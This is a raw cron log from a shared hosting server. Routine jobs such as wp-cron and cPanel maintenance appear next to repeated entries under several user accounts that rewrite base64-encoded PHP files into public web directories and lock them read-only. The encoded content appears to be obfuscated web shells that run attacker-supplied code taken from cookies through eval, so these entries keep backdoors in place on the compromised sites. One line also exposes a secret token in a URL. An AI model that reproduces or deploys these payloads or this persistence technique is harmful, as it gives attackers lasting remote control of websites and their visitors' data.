yczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:42:02 medusa CROND[9589]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:43:02 medusa CROND[1655]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:43:02 medusa CROND[1656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:43:02 medusa CROND[1657]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:43:02 medusa CROND[1665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:43:02 medusa CROND[1668]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 18:43:02 medusa CROND[1670]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:43:02 medusa CROND[1666]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:43:02 medusa CROND[1672]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:43:02 medusa CROND[1673]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:43:02 medusa CROND[1674]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:43:02 medusa CROND[1675]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 18:43:02 medusa CROND[1677]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:43:02 medusa CROND[1671]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:43:02 medusa CROND[1679]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:44:02 medusa CROND[24761]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:44:02 medusa CROND[24764]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:44:02 medusa CROND[24765]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:44:02 medusa CROND[24766]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:44:02 medusa CROND[24769]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:44:02 medusa CROND[24770]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:44:02 medusa CROND[24775]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:44:02 medusa CROND[24776]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:44:02 medusa CROND[24773]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:44:02 medusa CROND[24779]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:44:02 medusa CROND[24777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:44:02 medusa CROND[24782]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:44:02 medusa CROND[24772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:45:02 medusa CROND[16368]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:45:02 medusa CROND[16437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:45:02 medusa CROND[16460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:45:02 medusa CROND[16465]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:45:02 medusa CROND[16466]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2